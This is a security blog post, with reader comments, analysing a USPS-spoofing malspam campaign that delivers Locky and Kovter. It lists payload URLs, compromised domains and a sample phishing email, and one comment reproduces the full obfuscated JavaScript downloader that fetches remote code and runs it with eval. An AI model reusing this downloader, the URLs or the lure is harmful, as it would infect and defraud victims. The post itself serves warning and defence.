Spoofed USPS unable to deliver malspam continues to deliver Locky, Kovter and other malware
Well the Christmas break for many of us is nearly over, although today is still a public holiday in UK, but malware continues to trickle in. The malware gang spoofing FedEx, USPS and every other courier, delivery or postal service, sending thousands of “Courier was not able to deliver your parcel ” and hundreds of variants or similar subjects like “USPS issue #06914074: unable to delivery parcel” don’t appear to be taking a Christmas break like many other malware distribution gangs. They are obviously hoping that bleary eyed victims still suffering from the excesses of Christmas, wondering when their delayed parcels will actually arrive, will be a bit less careful than usual and run the malware without thinking.
Some subjects seen, all have random numbers, include:
- USPS issue #06914074: unable to delivery parcel
- Parcel #006514814 shipment problem, please review
- USPS parcel #3150281 delivery problem
- Courier was not able to deliver your parcel (ID006976677, USPS)
- Parcel 05836911 delivery notification, USPS
They are continuing with the never ending series of malware downloaders spoofing USPS pretending to be a message saying cannot deliver the parcel. These deliver Locky ransomware and Kovter Trojans amongst others
They use email addresses and subjects that will entice a user to read the email and open the attachment. A very high proportion are being targeted at small and medium size businesses, with the hope of getting a better response than they do from consumers.
This is another one of the files that unless you have “show known file extensions enabled“, can easily be mistaken for a genuine DOC / PDF / JPG or other common file instead of the .EXE / .JS file it really is, so making it much more likely for you to accidentally open it and be infected.
27 December 2016 : Delivery-Details-06914074.zip : Extracts to: Delivery-Details-06914074.doc.wsf Current Virus total detections: Payload Security shows a download from http://boardedhallgreen.com/counter/?a=1HHDb3PbzDuGitWA7eW5oQFLzRjd1VzqhJ&m=3254807&i=Y5rzyqa6RhRlpx-dpPoqiXX2fW4GipPhNOTHtfBNJDBj6eEd6iZ3Yj9wAD7akn77R5LBqqvQvXIlyx_kYmBdyl0Bi12Qqds7 which gives counter.js ( VirusTotal ) that in turn downloads from http://baltasmenulis.lt/counter/?i=Y5rzyqa6RhRlpx-dpPoqiXX2fW4GipPhNOTHtfBNJDBj6eEd6iZ3Yj9wAD7akn77R5LBqqvQvXIlyx_kYmBdyl0Bi12Qqds7&a=1HHDb3PbzDuGitWA7eW5oQFLzRjd1VzqhJ&r=01 (and 02 – 05)
The script tries the first in the list & then moves down until it gets a reply from the server. You never see the first downloaded file ( counter.js on your computer, that is run directly from temp internet files ) It downloads 01 first, then 02, then 03 until you get to 05. If any site doesn’t have the file, then it moves to the next site in the list for that particular file. Each site on the list has a full set of the files. but it is rare for the site giving counter.js to actually download from itself, normally that downloads from a different site on the list. All the files ( apart from the original counter.js) pretend to be png ( image files). They are actually all renamed .exe files or in the case of number 3, a renamed php script. Both of the innocent files are misused to run the malware . This is a very noisy malware set that contacts 4 domains and 179 hosts. View the network section on the Payload Security report for more details.
List of files retrieved today ( VirusTotal links) :
First Actually an innocent file that installs a php interpreter on the computer
Third ( A PHP Script that contains the list of file extensions to encrypt)
Fourth ( another innocent php interpreter file)
Some of the sites used in this campaign include:
lacasadeicuochi.it
minebleue.com
boardedhallgreen.com
dreamoutloudcenter.org
www.memoodgetactive.det.nsw.edu.au
www.meizumalaysia.com
rebecook.fr
peachaid.com
kidsgalaxy.fr
baltasmenulis.lt
One of the emails looks like:
From: USPS Priority Delivery <steven.kent@confedampa.org>
Date: Tue 27/12/2016 06:57
Subject: USPS issue #06914074: unable to delivery parcel
Attachment: Delivery-Details-06914074.zip
Body content:
Dear Customer,
Your item has arrived at December 25, but our courier was not able to deliver the parcel.
You can download the shipment label attached!
Thank you for your assistance in this matter,
Steven Kent,
USPS Chief Delivery Manager.
Screenshot: None
All these malicious emails are either designed to steal your Passwords, Bank, PayPal or other financial details along with your email or FTP ( web space) log in credentials. Or they are Ransomware versions that encrypt your files and demand large sums of money to recover the files.
All the alleged senders, amounts, reference numbers, Bank codes, companies, names of employees, employee positions, email addresses and phone numbers mentioned in the emails are all random. Some of these companies will exist and some won’t. Don’t try to respond by phone or email, all you will do is end up with an innocent person or company who have had their details spoofed and picked at random from a long list that the bad guys have previously found.The bad guys choose companies, Government departments and organisations with subjects that are designed to entice you or alarm you into blindly opening the attachment or clicking the link in the email to see what is happening.
Please read our How to protect yourselves page for simple, sensible advice on how to avoid being infected by this sort of socially engineered malware.
There are frequently dozens or even hundreds of different download locations, sometimes delivering the exactly same malware from all locations and sometimes slightly different malware versions from each one. Dridex, Locky and many other malwares do update at frequent intervals during the day, sometimes as quickly as every hour, so you might get a different version of these nasty Ransomware or Banking password stealer Trojans to the version we list here.
Be very careful with email attachments. All of these emails use Social engineering tricks to persuade you to open the attachments that come with the email. Whether it is a message saying “look at this picture of me I took last night” and it appears to come from a friend or is more targeted at somebody who regularly is likely to receive PDF attachments or Word .doc attachments or any other common file that you use every day.
The basic rule is NEVER open any attachment to an email, unless you are expecting it. Now that is very easy to say but quite hard to put into practice, because we all get emails with files attached to them. Our friends and family love to send us pictures of them doing silly things, or even cute pictures of the children or pets.
Never just blindly click on the file in your email program. Always save the file to your downloads folder, so you can check it first. Many malicious files that are attached to emails will have a faked extension. That is the 3 letters at the end of the file name. Unfortunately windows by default hides the file extensions so you need to Set your folder options to “show known file types. Then when you unzip the zip file that is supposed to contain the pictures of “Sally’s dog catching a ball” or a report in word document format that work has supposedly sent you to finish working on at the weekend, or an invoice or order confirmation from some company, you can easily see if it is a picture or document & not a malicious program.
If you see .JS or .EXE or .COM or .PIF or .SCR or .HTA .vbs, .wsf , .jse .jar at the end of the file name DO NOT click on it or try to open it, it will infect you.
While the malicious program is inside the zip file, it cannot harm you or automatically run. When it is just sitting unzipped in your downloads folder it won’t infect you, provided you don’t click it to run it. Just delete the zip and any extracted file and everything will be OK. You can always run a scan with your antivirus to be sure. There are some zip files that can be configured by the bad guys to automatically run the malware file when you double click the zip to extract the file. If you right click any suspicious zip file received, and select extract here or extract to folder ( after saving the zip to a folder on the computer) that risk is virtually eliminated. Never attempt to open a zip directly from your email, that is a guaranteed way to get infected. The best way is to just delete the unexpected zip and not risk any infection.
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6 Comments on "Spoofed USPS unable to deliver malspam continues to deliver Locky, Kovter and other malware"
In the last two days, I have received two e-mail, both containing a compressed zip file, containing a .doc.wsf file.
These mail where sent from different domains / e-mail addresses (gilbert.pennington@stagingpc.com and warren.butler@wijnvoorraad.nl) and both claimed that they represent USPS support management department.
As a IT support and network infrastructure administration professional (and also due to only working within a Linux / open source based environment), I decompress these files and had a look using Libreoffice (within a sandboxed based visualised computer, I do not own and refuse to use any Microsoft products, therefore do not use MS Word or any MS Windows operating system).
I can confirm that the file does contain what looks like some Javascript coding. The file contains the code as displayed below:
function rox() { return “7656238”; }; function
gag() { return “Msxml2.XMLHTTP”; }; var x = new
Array(“sabedoriaalternativa.pt”,”dcregs.org”,”inflation.us”,”acpu.com.br”,
“bilderbergska.org”); function rov() { return “counter”; } function cou() {
return “/”+rov()+”/?a=”; }; function fiv() { return “a”; }; function cay(z) { z
= z.split(rox()); z = z.join(fiv()); eval(z); }; function boe() { return
“&i=LZCbj-mu-KARAKsEbTN4GoA9ZAuPDVEoJkV1mzh4jkqy_tEsNBEm-r2H60bGCFIfnv-
4uYqgZur5ybTDSvVUW7Mt”; }; function htt() { return “http://”; }; function sut()
{ return “1D9Hq8gb1bfLs9C1J3HbGW3KVXTDrCdYd4&m=”; }; function tog(x) { return
htt() + x + cou() + sut() + rox() + boe(); }; for (var i=0; i<5; i++) { try {
var e = new ActiveXObject(gag()); e.open("GET", tog(x[i]), false); e.send(); if
(e.status == 200) { cay(e.responseText); break; }; } catch(e) { };
};
I am glad that I am an experienced IT professional that can easily identify spam mail (as well as being happy that I do not use MS Internet Explorer or MS Office – and therefore this script does not effect my workstation or any of my IT infrastructure).
Thanks for the info I update this post daily with new versions https://myonlinesecurity.co.uk/spoofed-fedex-and-usps-kovter-and-locky-sites/
THIS IS NOT LOCKY, IT IS A FAKE AND IS PRETENDING TO BE. IT IS STILL THE NEMUCOD RANSOMWARE AND STILL USES PHP – IT IS ALSO DECRYPTABLE
Sorry Jesse, I disagree. These currently deliver 5 files 2 are innocent php interpreters. 1 is a php file detailing the file extensions to encrypt. 1 is Kovter, 1 is Locky see https://myonlinesecurity.co.uk/spoofed-fedex-and-usps-kovter-and-locky-sites/ for latest details. There have been some versions delivering plain nemucod ransomware, but I haven’t seen one of those in about 3 weeks. You will probably find different “affiliates” distribute different version in different countries
You’re right. A2.exe is Kovter and A1.exe is locky. Nemucod is still on the servers and some scripts only download Locky and Kovter. Very interesting.
These are proving to be a complete pain in the *** Fairly low level of malspam emails so not getting quickly picked up by spam filters and antivirus companies. They are just starting to wake up to them now after 3 weeks of daily submissions. The emails have been used for so long, that most users ( and a lot of researchers) just bin them without even looking at them.